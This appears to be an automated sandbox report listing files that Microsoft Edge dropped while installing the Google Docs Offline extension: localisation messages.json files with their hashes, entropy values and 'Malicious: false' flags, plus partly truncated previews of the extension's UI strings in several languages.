Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Reputation:	unknown
